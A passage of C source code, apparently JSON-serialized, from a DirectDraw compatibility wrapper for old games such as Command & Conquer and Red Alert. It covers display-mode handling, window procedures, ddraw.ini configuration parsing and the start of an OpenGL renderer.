printf(\"DirectDraw::EnumSurfaces(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_FlipToGDISurface(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::FlipToGDISurface(This=%p)\\n\", This);\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetCaps(IDirectDrawImpl *This, LPDDCAPS lpDDDriverCaps, LPDDCAPS lpDDEmulCaps)\n{\n    printf(\"DirectDraw::GetCaps(This=%p, lpDDDriverCaps=%p, lpDDEmulCaps=%p)\\n\", This, lpDDDriverCaps, lpDDEmulCaps);\n\n    if(lpDDDriverCaps)\n    {\n        lpDDDriverCaps->dwSize = sizeof(DDCAPS);\n        lpDDDriverCaps->dwCaps = DDCAPS_BLT|DDCAPS_PALETTE;\n        lpDDDriverCaps->dwCKeyCaps = 0;\n        lpDDDriverCaps->dwPalCaps = DDPCAPS_8BIT|DDPCAPS_PRIMARYSURFACE;\n        lpDDDriverCaps->dwVidMemTotal = 16777216;\n        lpDDDriverCaps->dwVidMemFree = 16777216;\n        lpDDDriverCaps->dwMaxVisibleOverlays = 0;\n        lpDDDriverCaps->dwCurrVisibleOverlays = 0;\n        lpDDDriverCaps->dwNumFourCCCodes = 0;\n        lpDDDriverCaps->dwAlignBoundarySrc = 0;\n        lpDDDriverCaps->dwAlignSizeSrc = 0;\n        lpDDDriverCaps->dwAlignBoundaryDest = 0;\n        lpDDDriverCaps->dwAlignSizeDest = 0;\n    }\n\n    if(lpDDEmulCaps)\n    {\n        lpDDEmulCaps->dwSize = 0;\n    }\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetDisplayMode(IDirectDrawImpl *This, LPDDSURFACEDESC a)\n{\n    printf(\"DirectDraw::GetDisplayMode(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetFourCCCodes(IDirectDrawImpl *This, LPDWORD a, LPDWORD b)\n{\n    printf(\"DirectDraw::GetFourCCCodes(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetGDISurface(IDirectDrawImpl *This, LPDIRECTDRAWSURFACE *a)\n{\n    printf(\"DirectDraw::GetGDISurface(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetMonitorFrequency(IDirectDrawImpl *This, LPDWORD a)\n{\n    printf(\"DirectDraw::GetMonitorFrequency(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetScanLine(IDirectDrawImpl *This, LPDWORD a)\n{\n    printf(\"DirectDraw::GetScanLine(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_GetVerticalBlankStatus(IDirectDrawImpl *This, LPBOOL a)\n{\n    printf(\"DirectDraw::GetVerticalBlankStatus(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_Initialize(IDirectDrawImpl *This, GUID *a)\n{\n    printf(\"DirectDraw::Initialize(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_RestoreDisplayMode(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::RestoreDisplayMode(This=%p)\\n\", This);\n\n    if(!This->render.run)\n    {\n        return DD_OK;\n    }\n\n    /* only stop drawing in GL mode when minimized */\n    if (This->renderer == render_main)\n    {\n        EnterCriticalSection(&This->cs);\n        This->render.run = FALSE;\n        ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n        LeaveCriticalSection(&This->cs);\n\n        WaitForSingleObject(This->render.thread, INFINITE);\n        This->render.thread = NULL;\n    }\n\n    if(!ddraw->windowed)\n    {\n        ChangeDisplaySettings(&This->mode, 0);\n    }\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_SetDisplayMode(IDirectDrawImpl *This, DWORD width, DWORD height, DWORD bpp)\n{\n    printf(\"DirectDraw::SetDisplayMode(This=%p, width=%d, height=%d, bpp=%d)\\n\", This, (unsigned int)width, (unsigned int)height, (unsigned int)bpp);\n\n    This->mode.dmSize = sizeof(DEVMODE);\n    This->mode.dmDriverExtra = 0;\n\n    if(EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &This->mode) == FALSE)\n    {\n        /* not expected */\n        return DDERR_UNSUPPORTED;\n    }\n\n    This->width = width;\n    This->height = height;\n    This->bpp = bpp;\n    This->cursorclip.width = width;\n    This->cursorclip.height = height;\n\n    ddraw->cursor.x = ddraw->cursorclip.width / 2;\n    ddraw->cursor.y = ddraw->cursorclip.height / 2;\n\n    if(This->render.width < This->width)\n    {\n        This->render.width = This->width;\n    }\n    if(This->render.height < This->height)\n    {\n        This->render.height = This->height;\n    }\n\n    This->render.run = TRUE;\n\n    if (This->renderer == render_dummy_main)\n    {\n        if(This->render.thread == NULL)\n        {\n            This->render.thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)This->renderer, NULL, 0, NULL);\n        }\n        return DD_OK;\n    }\n\n    mouse_unlock();\n\n    if(This->windowed)\n    {\n        if(!This->windowed_init)\n        {\n            if (!This->border)\n            {\n                SetWindowLong(This->hWnd, GWL_STYLE, GetWindowLong(This->hWnd, GWL_STYLE) & ~(WS_CAPTION | WS_THICKFRAME | WS_MINIMIZE | WS_MAXIMIZE | WS_SYSMENU));\n            }\n            else\n            {\n                SetWindowLong(This->hWnd, GWL_STYLE, GetWindowLong(This->hWnd, GWL_STYLE) | WS_CAPTION | WS_BORDER | WS_SYSMENU | WS_MINIMIZEBOX);\n            }\n\n            /* center the window with correct dimensions */\n            int x = (This->mode.dmPelsWidth / 2) - (This->render.width / 2);\n            int y = (This->mode.dmPelsHeight / 2) - (This->render.height / 2);\n            RECT dst = { x, y, This->render.width+x, This->render.height+y };\n            AdjustWindowRect(&dst, GetWindowLong(This->hWnd, GWL_STYLE), FALSE);\n            SetWindowPos(This->hWnd, HWND_NOTOPMOST, dst.left, dst.top, (dst.right - dst.left), (dst.bottom - dst.top), SWP_SHOWWINDOW);\n\n            This->windowed_init = TRUE;\n        }\n    }\n    else\n    {\n        SetWindowPos(This->hWnd, HWND_TOPMOST, 0, 0, This->render.width, This->render.height, SWP_SHOWWINDOW);\n\n        mouse_lock();\n\n        memset(&This->render.mode, 0, sizeof(DEVMODE));\n        This->render.mode.dmSize = sizeof(DEVMODE);\n        This->render.mode.dmFields = DM_PELSWIDTH|DM_PELSHEIGHT;\n        This->render.mode.dmPelsWidth = This->render.width;\n        This->render.mode.dmPelsHeight = This->render.height;\n        if(This->render.bpp)\n        {\n            This->render.mode.dmFields |= DM_BITSPERPEL;\n            This->render.mode.dmBitsPerPel = This->render.bpp;\n        }\n\n        if(!This->devmode && ChangeDisplaySettings(&This->render.mode, CDS_FULLSCREEN) != DISP_CHANGE_SUCCESSFUL)\n        {\n            This->render.run = FALSE;\n            return DDERR_INVALIDMODE;\n        }\n    }\n\n    if(This->render.thread == NULL)\n    {\n        This->render.thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)This->renderer, NULL, 0, NULL);\n    }\n\n    return DD_OK;\n}\n\n/* minimal window proc for dummy renderer as everything is emulated */\nLRESULT CALLBACK dummy_WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n    switch(uMsg)\n    {\n        /* if the plugin window changes */\n        case WM_USER:\n            ddraw->hWnd = (HWND)lParam;\n            ddraw->render.hDC = GetDC(ddraw->hWnd);\n        case WM_ACTIVATEAPP:\n            if (wParam == TRUE)\n            {\n                break;\n            }\n        case WM_SIZE:\n        case WM_NCACTIVATE:\n            return DefWindowProc(hWnd, uMsg, wParam, lParam);\n        case WM_MOUSEMOVE:\n        case WM_NCMOUSEMOVE:\n            ddraw->cursor.x = GET_X_LPARAM(lParam);\n            ddraw->cursor.y = GET_Y_LPARAM(lParam);\n            break;\n    }\n\n    if (ddraw->WndProc)\n    {\n        return ddraw->WndProc(hWnd, uMsg, wParam, lParam);\n    }\n\n    return DefWindowProc(hWnd, uMsg, wParam, lParam);\n}\n\nLRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n    RECT rc = { 0, 0, ddraw->render.width, ddraw->render.height };\n\n    switch(uMsg)\n    {\n        /* Carmageddon stops the main loop when it sees these, DefWindowProc is also bad */\n        case WM_WINDOWPOSCHANGING:\n        case WM_WINDOWPOSCHANGED:\n            return 0;\n\n        /* C&C and RA really don't want to close down */\n        case WM_SYSCOMMAND:\n            if (wParam == SC_CLOSE)\n            {\n                exit(0);\n            }\n            return DefWindowProc(hWnd, uMsg, wParam, lParam);\n\n        case WM_ACTIVATE:\n            if (wParam == WA_ACTIVE || wParam == WA_CLICKACTIVE)\n            {\n                if (wParam == WA_ACTIVE)\n                {\n                    mouse_lock();\n                }\n                if (!ddraw->windowed)\n                {\n                    ChangeDisplaySettings(&ddraw->render.mode, CDS_FULLSCREEN);\n                }\n            }\n            else if (wParam == WA_INACTIVE)\n            {\n                mouse_unlock();\n\n                /* minimize our window on defocus when in fullscreen */\n                if (!ddraw->windowed)\n                {\n                    ChangeDisplaySettings(&ddraw->mode, 0);\n                    ShowWindow(ddraw->hWnd, SW_MINIMIZE);\n                }\n            }\n            return 0;\n\n        case WM_MOUSELEAVE:\n            mouse_unlock();\n            return 0;\n\n        case WM_ACTIVATEAPP:\n            /* C&C and RA stop drawing when they receive this with FALSE wParam, disable in windowed mode */\n            if (ddraw->windowed)\n            {\n                return 0;\n            }\n            break;\n\n        case WM_KEYDOWN:\n            if(wParam == VK_CONTROL || wParam == VK_TAB)\n            {\n                if(GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(VK_TAB) & 0x8000)\n                {\n                    mouse_unlock();\n                    return 0;\n                }\n            }\n#ifdef HAVE_LIBPNG\n            if(wParam == VK_CONTROL || wParam == 0x53 /* S */)\n            {\n                if(GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(0x53) & 0x8000)\n                {\n                    screenshot(ddraw->primary);\n                    return 0;\n                }\n            }\n#endif\n            break;\n\n        /* button up messages reactivate cursor lock */\n        case WM_LBUTTONUP:\n        case WM_RBUTTONUP:\n        case WM_MBUTTONUP:\n            if (ddraw->mhack && !ddraw->locked)\n            {\n                ddraw->cursor.x = LOWORD(lParam) * ((float)ddraw->width / ddraw->render.width);\n                ddraw->cursor.y = HIWORD(lParam) * ((float)ddraw->height / ddraw->render.height);\n                mouse_lock();\n                return 0;\n            }\n            /* fall through for lParam */\n\n        /* down messages are ignored if we have no cursor lock */\n        case WM_LBUTTONDOWN:\n        case WM_RBUTTONDOWN:\n        case WM_MBUTTONDOWN:\n        case WM_MOUSEMOVE:\n            if (ddraw->mhack)\n            {\n                if (!ddraw->locked)\n                {\n                    return 0;\n                }\n\n                fake_GetCursorPos(NULL); /* update our own cursor */\n                lParam = MAKELPARAM(ddraw->cursor.x, ddraw->cursor.y);\n            }\n\n            if (ddraw->devmode)\n            {\n                mouse_lock();\n                ddraw->cursor.x = GET_X_LPARAM(lParam);\n                ddraw->cursor.y = GET_Y_LPARAM(lParam);\n            }\n            break;\n\n        /* make sure we redraw when WM_PAINT is requested */\n        case WM_PAINT:\n            EnterCriticalSection(&ddraw->cs);\n            ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n            LeaveCriticalSection(&ddraw->cs);\n            break;\n\n        case WM_ERASEBKGND:\n            EnterCriticalSection(&ddraw->cs);\n            FillRect(ddraw->render.hDC, &rc, (HBRUSH) GetStockObject(BLACK_BRUSH));\n            ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n            LeaveCriticalSection(&ddraw->cs);\n            break;\n    }\n\n    return ddraw->WndProc(hWnd, uMsg, wParam, lParam);\n}\n\nHRESULT __stdcall ddraw_SetCooperativeLevel(IDirectDrawImpl *This, HWND hWnd, DWORD dwFlags)\n{\n    PIXELFORMATDESCRIPTOR pfd;\n\n    printf(\"DirectDraw::SetCooperativeLevel(This=%p, hWnd=0x%08X, dwFlags=0x%08X)\\n\", This, (unsigned int)hWnd, (unsigned int)dwFlags);\n\n    /* Red Alert for some weird reason does this on Windows XP */\n    if(hWnd == NULL)\n    {\n        return DDERR_INVALIDPARAMS;\n    }\n\n    if (This->hWnd == NULL)\n    {\n        This->hWnd = hWnd;\n    }\n\n    mouse_init(hWnd);\n\n    This->WndProc = (LRESULT CALLBACK (*)(HWND, UINT, WPARAM, LPARAM))GetWindowLong(hWnd, GWL_WNDPROC);\n\n    if (This->renderer == render_dummy_main)\n    {\n        This->render.hDC = GetDC(This->hWnd);\n        SetWindowLong(hWnd, GWL_WNDPROC, (LONG)dummy_WndProc);\n        ShowWindow(hWnd, SW_HIDE);\n        PostMessage(hWnd, WM_ACTIVATEAPP, TRUE, TRUE);\n        PostMessage(This->hWnd, WM_USER, 0, (LPARAM)hWnd);\n        return DD_OK;\n    }\n\n    SetWindowLong(This->hWnd, GWL_WNDPROC, (LONG)WndProc);\n\n    if(!This->render.hDC)\n    {\n        This->render.hDC = GetDC(This->hWnd);\n\n        memset(&pfd, 0, sizeof(PIXELFORMATDESCRIPTOR));\n        pfd.nSize = sizeof(PIXELFORMATDESCRIPTOR);\n        pfd.nVersion = 1;\n        pfd.dwFlags = PFD_DRAW_TO_WINDOW | PFD_DOUBLEBUFFER | (This->renderer == render_main ? PFD_SUPPORT_OPENGL : 0);\n        pfd.iPixelType = PFD_TYPE_RGBA;\n        pfd.cColorBits = ddraw->render.bpp ? ddraw->render.bpp : ddraw->mode.dmBitsPerPel;\n        pfd.iLayerType = PFD_MAIN_PLANE;\n        SetPixelFormat( This->render.hDC, ChoosePixelFormat( This->render.hDC, &pfd ), &pfd );\n    }\n\n    SetCursor(LoadCursor(NULL, IDC_ARROW));\n\n    GetWindowText(This->hWnd, (LPTSTR)&This->title, sizeof(This->title));\n\n    if(This->vhack == 1)\n    {\n        if (strcmp(This->title, \"Command & Conquer\"))\n        {\n            This->vhack = 0;\n        }\n    }\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_WaitForVerticalBlank(IDirectDrawImpl *This, DWORD a, HANDLE b)\n{\n#if _DEBUG\n    printf(\"DirectDraw::WaitForVerticalBlank(This=%p, ...)\\n\", This);\n#endif\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_QueryInterface(IDirectDrawImpl *This, REFIID riid, void **obj)\n{\n    printf(\"DirectDraw::QueryInterface(This=%p, riid=%08X, obj=%p)\\n\", This, (unsigned int)riid, obj);\n\n    *obj = This;\n\n    return S_OK;\n}\n\nULONG __stdcall ddraw_AddRef(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::AddRef(This=%p)\\n\", This);\n\n    This->Ref++;\n\n    return This->Ref;\n}\n\nULONG __stdcall ddraw_Release(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::Release(This=%p)\\n\", This);\n\n    This->Ref--;\n\n    if(This->Ref == 0)\n    {\n        if (This->hWnd && This->renderer == render_dummy_main)\n        {\n            PostMessage(This->hWnd, WM_USER, 0, 0);\n        }\n\n        if(This->render.run)\n        {\n            EnterCriticalSection(&This->cs);\n            This->render.run = FALSE;\n            ReleaseSemaphore(ddraw->render.sem, 1, NULL);\n            LeaveCriticalSection(&This->cs);\n\n            WaitForSingleObject(This->render.thread, INFINITE);\n            This->render.thread = NULL;\n        }\n\n        if(This->render.hDC)\n        {\n            ReleaseDC(This->hWnd, This->render.hDC);\n            This->render.hDC = NULL;\n        }\n\n        if(This->render.ev)\n        {\n            CloseHandle(This->render.ev);\n            ddraw->render.ev = NULL;\n        }\n\n        if(This->real_dll)\n        {\n            FreeLibrary(This->real_dll);\n        }\n\n        DeleteCriticalSection(&This->cs);\n\n        /* restore old wndproc, subsequent ddraw creation will otherwise fail */\n        SetWindowLong(This->hWnd, GWL_WNDPROC, (LONG)This->WndProc);\n        HeapFree(GetProcessHeap(), 0, This);\n        ddraw = NULL;\n        return 0;\n    }\n\n    return This->Ref;\n}\n\nstruct IDirectDrawImplVtbl iface =\n{\n    /* IUnknown */\n    ddraw_QueryInterface,\n    ddraw_AddRef,\n    ddraw_Release,\n    /* IDirectDrawImpl */\n    ddraw_Compact,\n    ddraw_CreateClipper,\n    ddraw_CreatePalette,\n    ddraw_CreateSurface,\n    ddraw_DuplicateSurface,\n    ddraw_EnumDisplayModes,\n    ddraw_EnumSurfaces,\n    ddraw_FlipToGDISurface,\n    ddraw_GetCaps,\n    ddraw_GetDisplayMode,\n    ddraw_GetFourCCCodes,\n    ddraw_GetGDISurface,\n    ddraw_GetMonitorFrequency,\n    ddraw_GetScanLine,\n    ddraw_GetVerticalBlankStatus,\n    ddraw_Initialize,\n    ddraw_RestoreDisplayMode,\n    ddraw_SetCooperativeLevel,\n    ddraw_SetDisplayMode,\n    ddraw_WaitForVerticalBlank\n};\n\nint stdout_open = 0;\nHRESULT WINAPI DirectDrawCreate(GUID FAR* lpGUID, LPDIRECTDRAW FAR* lplpDD, IUnknown FAR* pUnkOuter) \n{\n#if _DEBUG\n    if(!stdout_open)\n    {\n        freopen(\"stdout.txt\", \"w\", stdout);\n        setvbuf(stdout, NULL, _IONBF, 0);\n        stdout_open = 1;\n    }\n#endif\n\n    printf(\"DirectDrawCreate(lpGUID=%p, lplpDD=%p, pUnkOuter=%p)\\n\", lpGUID, lplpDD, pUnkOuter);\n\n    if(ddraw)\n    {\n        /* FIXME: check the calling module before passing the call! */\n        return ddraw->DirectDrawCreate(lpGUID, lplpDD, pUnkOuter);\n\n        /*\n        printf(\" returning DDERR_DIRECTDRAWALREADYCREATED\\n\");\n        return DDERR_DIRECTDRAWALREADYCREATED;\n        */\n    } \n\n    IDirectDrawImpl *This = (IDirectDrawImpl *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IDirectDrawImpl));\n    This->lpVtbl = &iface;\n    printf(\" This = %p\\n\", This);\n    *lplpDD = (LPDIRECTDRAW)This;\n    This->Ref = 0;\n    ddraw_AddRef(This);\n\n    ddraw = This;\n\n    This->real_dll = LoadLibrary(\"system32\\\\ddraw.dll\");\n    if(!This->real_dll)\n    {\n        ddraw_Release(This);\n        return DDERR_GENERIC;\n    }\n\n    This->DirectDrawCreate = (HRESULT WINAPI (*)(GUID FAR*, LPDIRECTDRAW FAR*, IUnknown FAR*))GetProcAddress(This->real_dll, \"DirectDrawCreate\");\n\n    if(!This->DirectDrawCreate)\n    {\n        ddraw_Release(This);\n        return DDERR_GENERIC;\n    }\n\n    InitializeCriticalSection(&This->cs);\n    This->render.ev = CreateEvent(NULL, TRUE, FALSE, NULL);\n    This->render.sem = CreateSemaphore(NULL, 0, 1, NULL);\n\n    /* load configuration options from ddraw.ini */\n    char cwd[MAX_PATH];\n    char ini_path[MAX_PATH];\n    char tmp[256];\n    GetCurrentDirectoryA(sizeof(cwd), cwd);\n    snprintf(ini_path, sizeof(ini_path), \"%s\\\\ddraw.ini\", cwd);\n\n    if(GetFileAttributes(ini_path) == 0xFFFFFFFF)\n    {\n        FILE *fh = fopen(ini_path, \"w\");\n        fputs(\n            \"[ddraw]\\n\"\n            \"; width and height of the window, defaults to the size game requests\\r\\n\"\n            \"width=0\\n\"\n            \"height=0\\n\"\n            \"; bits per pixel, possible values: 16, 24 and 32, 0 = auto\\n\"\n            \"bpp=0\\n\"\n            \"windowed=true\\n\"\n            \"; show window borders in windowed mode\\n\"\n            \"border=true\\n\"\n            \"; use letter- or windowboxing to make a best fit (GDI only!)\\n\"\n            \"boxing=false\\n\"\n            \"; real rendering rate, -1 = screen rate, 0 = unlimited, n = cap\\n\"\n            \"maxfps=0\\n\"\n            \"; vertical synchronization, enable if you get tearing (OpenGL only)\\n\"\n            \"vsync=false\\n\"\n            \"; scaling filter, nearest = sharp, linear = smooth (OpenGL only)\\n\"\n            \"filter=nearest\\n\"\n            \"; automatic mouse sensitivity scaling\\n\"\n            \"adjmouse=false\\n\"\n            \"; manual sensitivity scaling, 0 = disabled, 0.5 = half, 1.0 = normal\\n\"\n            \"sensitivity=0.0\\n\"\n            \"; enable C&C/RA mouse hack\\n\"\n            \"mhack=true\\n\"\n            \"; enable C&C video resize hack, auto = auto-detect game, true = forced, false = disabled (OpenGL only)\\n\"\n            \"vhack=false\\n\"\n            \"; switch between OpenGL (opengl) and software (gdi) renderers, latter supports less features but might be faster depending on the GPU\\n\"\n            \"renderer=gdi\\n\"\n            \"; force CPU0 affinity, avoids crashes with RA, *might* have a performance impact\\n\"\n            \"singlecpu=true\\n\"\n        , fh);\n        fclose(fh);\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"windowed\", \"TRUE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')\n    {\n        This->windowed = FALSE;\n    }\n    else\n    {\n        This->windowed = TRUE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"border\", \"TRUE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')\n    {\n        This->border = FALSE;\n    }\n    else\n    {\n        This->border = TRUE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"boxing\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'n' || tolower(tmp[0]) == 'f' || tolower(tmp[0]) == 'd' || tmp[0] == '0')\n    {\n        This->boxing = FALSE;\n    }\n    else\n    {\n        This->boxing = TRUE;\n    }\n\n    This->render.maxfps = GetPrivateProfileIntA(\"ddraw\", \"maxfps\", 0, ini_path);\n    This->render.width = GetPrivateProfileIntA(\"ddraw\", \"width\", 0, ini_path);\n    This->render.height = GetPrivateProfileIntA(\"ddraw\", \"height\", 0, ini_path);\n\n    This->render.bpp = GetPrivateProfileIntA(\"ddraw\", \"bpp\", 32, ini_path);\n    if (This->render.bpp != 16 && This->render.bpp != 24 && This->render.bpp != 32)\n    {\n        This->render.bpp = 0;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"filter\", tmp, tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'l' || tolower(tmp[3]) == 'l')\n    {\n        This->render.filter = 1;\n    }\n    else\n    {\n        This->render.filter = 0;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"adjmouse\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->adjmouse = TRUE;\n    }\n    else\n    {\n        This->adjmouse = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"mhack\", \"TRUE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->mhack = TRUE;\n    }\n    else\n    {\n        This->mhack = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"devmode\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->devmode = TRUE;\n        This->mhack = FALSE;\n    }\n    else\n    {\n        This->devmode = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"vsync\", \"FALSE\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->vsync = TRUE;\n    }\n    else\n    {\n        This->vsync = FALSE;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"sensitivity\", \"0\", tmp, sizeof(tmp), ini_path);\n    This->sensitivity = strtof(tmp, NULL);\n\n    GetPrivateProfileStringA(\"ddraw\", \"vhack\", \"false\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        This->vhack = 2;\n    }\n    else if(tolower(tmp[0]) == 'a')\n    {\n        This->vhack = 1;\n    }\n    else\n    {\n        This->vhack = 0;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"renderer\", \"gdi\", tmp, sizeof(tmp), ini_path);\n    if(tolower(tmp[0]) == 'd' || tolower(tmp[0]) == 'd')\n    {\n        printf(\"DirectDrawCreate: Using dummy renderer\\n\");\n        This->renderer = render_dummy_main;\n    }\n    else if(tolower(tmp[0]) == 's' || tolower(tmp[0]) == 'g')\n    {\n        printf(\"DirectDrawCreate: Using software renderer\\n\");\n        This->renderer = render_soft_main;\n    }\n    else\n    {\n        printf(\"DirectDrawCreate: Using OpenGL renderer\\n\");\n        This->renderer = render_main;\n    }\n\n    GetPrivateProfileStringA(\"ddraw\", \"singlecpu\", \"true\", tmp, sizeof(tmp), ini_path);\n    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')\n    {\n        printf(\"DirectDrawCreate: Setting CPU0 affinity\\n\");\n        SetProcessAffinityMask(GetCurrentProcess(), 1);\n    }\n\n    /* last minute check for cnc-plugin */\n    if (GetEnvironmentVariable(\"DDRAW_WINDOW\", tmp, sizeof(tmp)) > 0)\n    {\n        This->hWnd = (HWND)atoi(tmp);\n        This->renderer = render_dummy_main;\n        This->windowed = TRUE;\n\n        if (GetEnvironmentVariable(\"DDRAW_WIDTH\", tmp, sizeof(tmp)) > 0)\n        {\n            This->render.width = atoi(tmp);\n        }\n\n        if (GetEnvironmentVariable(\"DDRAW_HEIGHT\", tmp, sizeof(tmp)) > 0)\n        {\n            This->render.height = atoi(tmp);\n        }\n\n        printf(\"DirectDrawCreate: Detected cnc-plugin at window %08X in %dx%d\\n\", (unsigned int)This->hWnd, This->render.width, This->render.height);\n    }\n\n    return DD_OK;\n}\n", "render.c": "/*\n * Copyright (c) 2010 Toni Spets <toni.spets@iki.fi>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <windows.h>\n#include <stdio.h>\n\n#include \"main.h\"\n#include \"surface.h\"\n\n#define CUTSCENE_WIDTH 640\n#define CUTSCENE_HEIGHT 400\n\nBOOL detect_cutscene();\n\nDWORD WINAPI render_main(void)\n{\n    int i,j;\n    HGLRC hRC;\n\n    int tex_width = ddraw->width > 1024 ? ddraw->width : 1024;\n    int tex_height = ddraw->height > 1024 ? ddraw->height : 1024;\n    float scale_w = 1.0f;\n    float scale_h = 1.0f;\n    int *tex = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, tex_width * tex_height * sizeof(int));\n\n    hRC = wglCreateContext( ddraw->render.hDC );\n    wglMakeCurrent( ddraw->render.hDC, hRC );\n\n    char *glext = (char *)glGetString(GL_EXTENSIONS);\n\n    if(glext && strstr(glext, \"WGL_EXT_swap_control\"))\n    {\n        BOOL (APIENTRY *wglSwapIntervalEXT)(int) = (BOOL (APIENTRY *)(int))wglGetProcAddress(\"wglSwapIntervalEXT\");\n        if(wglSwapIntervalEXT)\n        {\n            if(ddraw->vsync)\n            {\n                wglSwapIntervalEXT(1);\n            }\n            else\n            {\n                wglSwapIntervalEXT(0);\n            }\n        }\n    }\n\n    DWORD tick_start = 0;\n    DWORD tick_end = 0;\n    DWORD frame_len = 0;\n\n    if(ddraw->render.maxfps < 0)\n    {\n        ddraw->render.maxfps = ddraw->mode.dmDisplayFrequency;\n    }\n\n    if(ddraw->render.maxfps > 0)\n    {\n        frame_len = 1000.0f / ddraw->render.maxfps;\n    }\n\n    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, tex_width, tex_height, 0, GL_RGBA, GL_UNSIGNED_BYTE, tex);\n    glViewport(0, 0, ddraw->render.width, ddraw->render.height);\n\n    if(ddraw->render.filter)\n    {\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_LINEAR);\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_LINEAR);\n    }\n    else\n    {\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_NEAREST);\n        glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_NEAREST);\n    }\n\n    glEnable(GL_TEXTURE_2D);\n\n    while(ddraw->render.run && WaitForSingleObject(ddraw->render.sem, INFINITE) != WAIT_FAILED)\n    {\n        scale_w = (float)ddraw->width/tex_width;\n        scale_h = (float)ddraw->height/tex_height;\n\n        if(ddraw->render.maxfps > 0)\n        {\n            tick_start = GetTickCount();\n        }\n\n        /* convert ddraw surface to opengl texture */\n        EnterCriticalSection(&ddraw->cs);\n\n        if(ddraw->primary && ddraw->primary->palette)\n        